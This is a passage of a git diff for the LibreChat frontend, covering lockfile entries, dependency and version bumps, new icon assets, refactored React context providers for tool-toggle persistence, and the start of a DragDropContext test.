"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], } } diff --git a/client/jest.config.cjs b/client/jest.config.cjs index 53d4063a0a..1c698d08a3 100644 --- a/client/jest.config.cjs +++ b/client/jest.config.cjs @@ -1,4 +1,4 @@ -/** v0.8.2 */ +/** v0.8.3 */ module.exports = { roots: ['/src'], testEnvironment: 'jsdom', @@ -32,6 +32,7 @@ module.exports = { '^librechat-data-provider/react-query$': '/../node_modules/librechat-data-provider/src/react-query', }, + maxWorkers: '50%', restoreMocks: true, testResultsProcessor: 'jest-junit', coverageReporters: ['text', 'cobertura', 'lcov'], diff --git a/client/package.json b/client/package.json index 1c1d201f56..250afc9990 100644 --- a/client/package.json +++ b/client/package.json @@ -1,6 +1,6 @@ { "name": "@librechat/frontend", - "version": "v0.8.2", + "version": "v0.8.3", "description": "", "type": "module", "scripts": { @@ -38,6 +38,7 @@ "@librechat/client": "*", "@marsidev/react-turnstile": "^1.1.0", "@mcp-ui/client": "^5.7.0", + "@monaco-editor/react": "^4.7.0", "@radix-ui/react-accordion": "^1.1.2", "@radix-ui/react-alert-dialog": "1.0.2", "@radix-ui/react-checkbox": "^1.0.3", @@ -80,7 +81,7 @@ "lodash": "^4.17.23", "lucide-react": "^0.394.0", "match-sorter": "^8.1.0", - "mermaid": "^11.12.2", + "mermaid": "^11.13.0", "micromark-extension-llm-math": "^3.1.0", "qrcode.react": "^4.2.0", "rc-input-number": "^7.4.2", @@ -93,7 +94,6 @@ "react-gtm-module": "^2.0.11", "react-hook-form": "^7.43.9", "react-i18next": "^15.4.0", - "react-lazy-load-image-component": "^1.6.0", "react-markdown": "^9.0.1", "react-resizable-panels": "^3.0.6", "react-router-dom": "^6.30.3", @@ -122,6 +122,7 @@ "@babel/preset-env": "^7.22.15", "@babel/preset-react": "^7.22.15", "@babel/preset-typescript": "^7.22.15", + "@happy-dom/jest-environment": "^20.8.3", "@tanstack/react-query-devtools": "^4.29.0", "@testing-library/dom": "^9.3.0", "@testing-library/jest-dom": "^5.16.5", @@ -130,10 +131,10 @@ "@types/jest": "^29.5.14", "@types/js-cookie": "^3.0.6", "@types/lodash": "^4.17.15", - "@types/node": "^20.3.0", + "@types/node": "^20.19.35", "@types/react": "^18.2.11", "@types/react-dom": "^18.2.4", - "@vitejs/plugin-react": "^4.3.4", + "@vitejs/plugin-react": "^5.1.4", "autoprefixer": "^10.4.20", "babel-plugin-replace-ts-export-assignment": "^0.0.2", "babel-plugin-root-import": "^6.6.0", @@ -144,17 +145,17 @@ "identity-obj-proxy": "^3.0.0", "jest": "^30.2.0", "jest-canvas-mock": "^2.5.2", - "jest-environment-jsdom": "^29.7.0", + "jest-environment-jsdom": "^30.2.0", "jest-file-loader": "^1.0.3", "jest-junit": "^16.0.0", + "monaco-editor": "^0.55.1", "postcss": "^8.4.31", - "postcss-loader": "^7.1.0", - "postcss-preset-env": "^8.2.0", + "postcss-preset-env": "^11.2.0", "tailwindcss": "^3.4.1", "typescript": "^5.3.3", - "vite": "^6.4.1", + "vite": "^7.3.1", "vite-plugin-compression2": "^2.2.1", - "vite-plugin-node-polyfills": "^0.23.0", - "vite-plugin-pwa": "^0.21.2" + "vite-plugin-node-polyfills": "^0.25.0", + "vite-plugin-pwa": "^1.2.0" } } diff --git a/client/public/assets/azure-ai-search.svg b/client/public/assets/azure-ai-search.svg new file mode 100644 index 0000000000..5db3422b9b --- /dev/null +++ b/client/public/assets/azure-ai-search.svg @@ -0,0 +1 @@ + diff --git a/client/public/assets/bfl-ai.svg b/client/public/assets/bfl-ai.svg new file mode 100644 index 0000000000..c8556b8557 --- /dev/null +++ b/client/public/assets/bfl-ai.svg @@ -0,0 +1,13 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/client/public/assets/calculator.svg b/client/public/assets/calculator.svg new file mode 100644 index 0000000000..440367fe9e --- /dev/null +++ b/client/public/assets/calculator.svg @@ -0,0 +1 @@ + diff --git a/client/public/assets/google-search.svg b/client/public/assets/google-search.svg new file mode 100644 index 0000000000..be3c8db3d5 --- /dev/null +++ b/client/public/assets/google-search.svg @@ -0,0 +1 @@ + diff --git a/client/public/assets/maskable-icon.png b/client/public/assets/maskable-icon.png index 90e48f870b..b48524b867 100644 Binary files a/client/public/assets/maskable-icon.png and b/client/public/assets/maskable-icon.png differ diff --git a/client/public/assets/stability-ai.svg b/client/public/assets/stability-ai.svg new file mode 100644 index 0000000000..bdc74a14d6 --- /dev/null +++ b/client/public/assets/stability-ai.svg @@ -0,0 +1 @@ + diff --git a/client/public/assets/tavily.svg b/client/public/assets/tavily.svg new file mode 100644 index 0000000000..544d55319b --- /dev/null +++ b/client/public/assets/tavily.svg @@ -0,0 +1,3 @@ + + + diff --git a/client/public/assets/web-browser.svg b/client/public/assets/web-browser.svg deleted file mode 100644 index 3f9c85d14b..0000000000 --- a/client/public/assets/web-browser.svg +++ /dev/null @@ -1,86 +0,0 @@ - - - - diff --git a/client/src/Providers/ArtifactsContext.tsx b/client/src/Providers/ArtifactsContext.tsx index 139f679003..fd67d5af94 100644 --- a/client/src/Providers/ArtifactsContext.tsx +++ b/client/src/Providers/ArtifactsContext.tsx @@ -1,7 +1,8 @@ import React, { createContext, useContext, useMemo } from 'react'; +import { useRecoilValue } from 'recoil'; import type { TMessage } from 'librechat-data-provider'; -import { useChatContext } from './ChatContext'; import { getLatestText } from '~/utils'; +import store from '~/store'; export interface ArtifactsContextValue { isSubmitting: boolean; @@ -18,27 +19,28 @@ interface ArtifactsProviderProps { } export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) { - const { isSubmitting, latestMessage, conversation } = useChatContext(); + const isSubmitting = useRecoilValue(store.isSubmittingFamily(0)); + const latestMessage = useRecoilValue(store.latestMessageFamily(0)); + const conversationId = useRecoilValue(store.conversationIdByIndex(0)); const chatLatestMessageText = useMemo(() => { return getLatestText({ - messageId: latestMessage?.messageId ?? null, text: latestMessage?.text ?? null, content: latestMessage?.content ?? null, + messageId: latestMessage?.messageId ?? null, } as TMessage); }, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]); const defaultContextValue = useMemo( () => ({ isSubmitting, + conversationId: conversationId ?? null, latestMessageText: chatLatestMessageText, latestMessageId: latestMessage?.messageId ?? null, - conversationId: conversation?.conversationId ?? null, }), - [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId], + [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId], ); - /** Context value only created when relevant values change */ const contextValue = useMemo( () => (value ? { ...defaultContextValue, ...value } : defaultContextValue), [defaultContextValue, value], diff --git a/client/src/Providers/BadgeRowContext.tsx b/client/src/Providers/BadgeRowContext.tsx index 40df795aba..dce1c38a78 100644 --- a/client/src/Providers/BadgeRowContext.tsx +++ b/client/src/Providers/BadgeRowContext.tsx @@ -1,4 +1,4 @@ -import React, { createContext, useContext, useEffect, useRef } from 'react'; +import React, { createContext, useContext, useEffect, useMemo, useRef } from 'react'; import { useSetRecoilState } from 'recoil'; import { Tools, Constants, LocalStorageKeys, AgentCapabilities } from 'librechat-data-provider'; import type { TAgentsEndpoint } from 'librechat-data-provider'; @@ -9,11 +9,13 @@ import { useCodeApiKeyForm, useToolToggle, } from '~/hooks'; -import { getTimestampedValue, setTimestamp } from '~/utils/timestamps'; +import { getTimestampedValue } from '~/utils/timestamps'; +import { useGetStartupConfig } from '~/data-provider'; import { ephemeralAgentByConvoId } from '~/store'; interface BadgeRowContextType { conversationId?: string | null; + storageContextKey?: string; agentsConfig?: TAgentsEndpoint | null; webSearch: ReturnType; artifacts: ReturnType; @@ -38,34 +40,70 @@ interface BadgeRowProviderProps { children: React.ReactNode; isSubmitting?: boolean; conversationId?: string | null; + specName?: string | null; } export default function BadgeRowProvider({ children, isSubmitting, conversationId, + specName, }: BadgeRowProviderProps) { - const lastKeyRef = useRef(''); + const lastContextKeyRef = useRef(''); const hasInitializedRef = useRef(false); const { agentsConfig } = useGetAgentsConfig(); + const { data: startupConfig } = useGetStartupConfig(); const key = conversationId ?? Constants.NEW_CONVO; + const hasModelSpecs = (startupConfig?.modelSpecs?.list?.length ?? 0) > 0; + + /** + * Compute the storage context key for non-spec persistence: + * - `__defaults__`: specs configured but none active → shared defaults key + * - undefined: spec active (no persistence) or no specs configured (original behavior) + * + * When a spec is active, tool/MCP state is NOT persisted — the admin's spec + * configuration is always applied fresh. Only non-spec user preferences persist. + */ + const storageContextKey = useMemo(() => { + if (!specName && hasModelSpecs) { + return Constants.spec_defaults_key as string; + } + return undefined; + }, [specName, hasModelSpecs]); + + /** + * Compute the storage suffix for reading localStorage defaults: + * - New conversations read from environment key (spec or non-spec defaults) + * - Existing conversations read from conversation key (per-conversation state) + */ + const isNewConvo = key === Constants.NEW_CONVO; + const storageSuffix = isNewConvo && storageContextKey ? storageContextKey : key; const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(key)); - /** Initialize ephemeralAgent from localStorage on mount and when conversation changes */ + /** Initialize ephemeralAgent from localStorage on mount and when conversation/spec changes. + * Skipped when a spec is active — applyModelSpecEphemeralAgent handles both new conversations + * (pure spec values) and existing conversations (spec values + localStorage overrides). */ useEffect(() => { if (isSubmitting) { return; } - // Check if this is a new conversation or the first load - if (!hasInitializedRef.current || lastKeyRef.current !== key) { + if (specName) { + // Spec active: applyModelSpecEphemeralAgent handles all state (spec base + localStorage + // overrides for existing conversations). Reset init flag so switching back to non-spec + // triggers a fresh re-init. + hasInitializedRef.current = false; + return; + } + // Check if this is a new conversation/spec or the first load + if (!hasInitializedRef.current || lastContextKeyRef.current !== storageSuffix) { hasInitializedRef.current = true; - lastKeyRef.current = key; + lastContextKeyRef.current = storageSuffix; - const codeToggleKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${key}`; - const webSearchToggleKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${key}`; - const fileSearchToggleKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${key}`; - const artifactsToggleKey = `${LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_}${key}`; + const codeToggleKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${storageSuffix}`; + const webSearchToggleKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${storageSuffix}`; + const fileSearchToggleKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${storageSuffix}`; + const artifactsToggleKey = `${LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_}${storageSuffix}`; const codeToggleValue = getTimestampedValue(codeToggleKey); const webSearchToggleValue = getTimestampedValue(webSearchToggleKey); @@ -106,39 +144,53 @@ export default function BadgeRowProvider({ } } - /** - * Always set values for all tools (use defaults if not in `localStorage`) - * If `ephemeralAgent` is `null`, create a new object with just our tool values - */ - const finalValues = { - [Tools.execute_code]: initialValues[Tools.execute_code] ?? false, - [Tools.web_search]: initialValues[Tools.web_search] ?? false, - [Tools.file_search]: initialValues[Tools.file_search] ?? false, - [AgentCapabilities.artifacts]: initialValues[AgentCapabilities.artifacts] ?? false, - }; + const hasOverrides = Object.keys(initialValues).length > 0; - setEphemeralAgent((prev) => ({ - ...(prev || {}), - ...finalValues, - })); - - Object.entries(finalValues).forEach(([toolKey, value]) => { - if (value !== false) { - let storageKey = artifactsToggleKey; - if (toolKey === Tools.execute_code) { - storageKey = codeToggleKey; - } else if (toolKey === Tools.web_search) { - storageKey = webSearchToggleKey; - } else if (toolKey === Tools.file_search) { - storageKey = fileSearchToggleKey; + /** Read persisted MCP values from localStorage */ + let mcpOverrides: string[] | null = null; + const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${storageSuffix}`; + const mcpRaw = localStorage.getItem(mcpStorageKey); + if (mcpRaw !== null) { + try { + const parsed = JSON.parse(mcpRaw); + if (Array.isArray(parsed) && parsed.length > 0) { + mcpOverrides = parsed; } - // Store the value and set timestamp for existing values - localStorage.setItem(storageKey, JSON.stringify(value)); - setTimestamp(storageKey); + } catch (e) { + console.error('Failed to parse MCP values:', e); } + } + + setEphemeralAgent((prev) => { + if (prev == null) { + /** ephemeralAgent is null — use localStorage defaults */ + if (hasOverrides || mcpOverrides) { + const result = { ...initialValues }; + if (mcpOverrides) { + result.mcp = mcpOverrides; + } + return result; + } + return prev; + } + /** ephemeralAgent already has values (from prior state). + * Only fill in undefined keys from localStorage. */ + let changed = false; + const result = { ...prev }; + for (const [toolKey, value] of Object.entries(initialValues)) { + if (result[toolKey] === undefined) { + result[toolKey] = value; + changed = true; + } + } + if (mcpOverrides && result.mcp === undefined) { + result.mcp = mcpOverrides; + changed = true; + } + return changed ? result : prev; }); } - }, [key, isSubmitting, setEphemeralAgent]); + }, [storageSuffix, specName, isSubmitting, setEphemeralAgent]); /** CodeInterpreter hooks */ const codeApiKeyForm = useCodeApiKeyForm({}); @@ -146,6 +198,7 @@ export default function BadgeRowProvider({ const codeInterpreter = useToolToggle({ conversationId, + storageContextKey, setIsDialogOpen: setCodeDialogOpen, toolKey: Tools.execute_code, localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, @@ -161,6 +214,7 @@ export default function BadgeRowProvider({ const webSearch = useToolToggle({ conversationId, + storageContextKey, toolKey: Tools.web_search, localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_, setIsDialogOpen: setWebSearchDialogOpen, @@ -173,6 +227,7 @@ export default function BadgeRowProvider({ /** FileSearch hook */ const fileSearch = useToolToggle({ conversationId, + storageContextKey, toolKey: Tools.file_search, localStorageKey: LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_, isAuthenticated: true, @@ -181,12 +236,13 @@ export default function BadgeRowProvider({ /** Artifacts hook - using a custom key since it's not a Tool but a capability */ const artifacts = useToolToggle({ conversationId, + storageContextKey, toolKey: AgentCapabilities.artifacts, localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_, isAuthenticated: true, }); - const mcpServerManager = useMCPServerManager({ conversationId }); + const mcpServerManager = useMCPServerManager({ conversationId, storageContextKey }); const value: BadgeRowContextType = { webSearch, @@ -194,6 +250,7 @@ export default function BadgeRowProvider({ fileSearch, agentsConfig, conversationId, + storageContextKey, codeApiKeyForm, codeInterpreter, searchApiKeyForm, diff --git a/client/src/Providers/DragDropContext.tsx b/client/src/Providers/DragDropContext.tsx index e5a2177f2d..b519c0171f 100644 --- a/client/src/Providers/DragDropContext.tsx +++ b/client/src/Providers/DragDropContext.tsx @@ -1,5 +1,5 @@ import React, { createContext, useContext, useMemo } from 'react'; -import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider'; +import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider'; import type { EModelEndpoint } from 'librechat-data-provider'; import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider'; import { useAgentsMapContext } from './AgentsMapContext'; @@ -9,7 +9,7 @@ interface DragDropContextValue { conversationId: string | null | undefined; agentId: string | null | undefined; endpoint: string | null | undefined; - endpointType?: EModelEndpoint | undefined; + endpointType?: EModelEndpoint | string | undefined; useResponsesApi?: boolean; } @@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) { const { data: endpointsConfig } = useGetEndpointsQuery(); const agentsMap = useAgentsMapContext(); - const endpointType = useMemo(() => { - return ( - getEndpointField(endpointsConfig, conversation?.endpoint, 'type') || - (conversation?.endpoint as EModelEndpoint | undefined) - ); - }, [conversation?.endpoint, endpointsConfig]); - const needsAgentFetch = useMemo(() => { const isAgents = isAgentsEndpoint(conversation?.endpoint); if (!isAgents || !conversation?.agent_id) { @@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) { enabled: needsAgentFetch, }); + const agentProvider = useMemo(() => { + const isAgents = isAgentsEndpoint(conversation?.endpoint); + if (!isAgents || !conversation?.agent_id) { + return undefined; + } + const agent = agentData || agentsMap?.[conversation.agent_id]; + return agent?.provider; + }, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]); + + const endpointType = useMemo( + () => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider), + [endpointsConfig, conversation?.endpoint, agentProvider], + ); + const useResponsesApi = useMemo(() => { const isAgents = isAgentsEndpoint(conversation?.endpoint); if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) { diff --git a/client/src/Providers/MessagesViewContext.tsx b/client/src/Providers/MessagesViewContext.tsx index f8f5eef12a..f1cae204a4 100644 --- a/client/src/Providers/MessagesViewContext.tsx +++ b/client/src/Providers/MessagesViewContext.tsx @@ -18,7 +18,8 @@ interface MessagesViewContextValue { /** Message state management */ index: ReturnType['index']; - latestMessage: ReturnType['latestMessage']; + latestMessageId: ReturnType['latestMessageId']; + latestMessageDepth: ReturnType['latestMessageDepth']; setLatestMessage: ReturnType['setLatestMessage']; getMessages: ReturnType['getMessages']; setMessages: ReturnType['setMessages']; @@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode } regenerate, isSubmitting, conversation, - latestMessage, + latestMessageId, + latestMessageDepth, setAbortScroll, handleContinue, setLatestMessage, @@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode } const messageState = useMemo( () => ({ index, - latestMessage, + latestMessageId, + latestMessageDepth, setLatestMessage, }), - [index, latestMessage, setLatestMessage], + [index, latestMessageId, latestMessageDepth, setLatestMessage], ); /** Combine all values into final context value */ @@ -139,9 +142,9 @@ export function useMessagesOperations() { /** Hook for components that only need message state */ export function useMessagesState() { - const { index, latestMessage, setLatestMessage } = useMessagesViewContext(); + const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext(); return useMemo( - () => ({ index, latestMessage, setLatestMessage }), - [index, latestMessage, setLatestMessage], + () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }), + [index, latestMessageId, latestMessageDepth, setLatestMessage], ); } diff --git a/client/src/Providers/__tests__/DragDropContext.spec.tsx b/client/src/Providers/__tests__/DragDropContext.spec.tsx new file mode 100644 index 0000000000..3c5e0f0796 --- /dev/null +++ b/client/src/Providers/__tests__/DragDropContext.spec.tsx @@ -0,0 +1,134 @@ +import React from 'react'; +import { renderHook } from '@testing-library/react'; +import { EModelEndpoint } from 'librechat-data-provider'; +import type { TEndpointsConfig, Agent } from 'librechat-data-provider'; +import { DragDropProvider, useDragDropContext } from '../DragDropContext'; + +const mockEndpointsConfig: TEndpointsConfig = { + [EModelEndpoint.openAI]: { userProvide: false, order: 0 }, + [EModelEndpoint.agents]: { userProvide: false, order: 1 }, + [EModelEndpoint.anthropic]: { userProvide: false, order: 6 }, + Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, + 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 }, +}; + +let mockConversation: Record | null = null; +let mockAgentsMap: Record> = {}; +let mockAgentQueryData: Partial | undefined; + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: 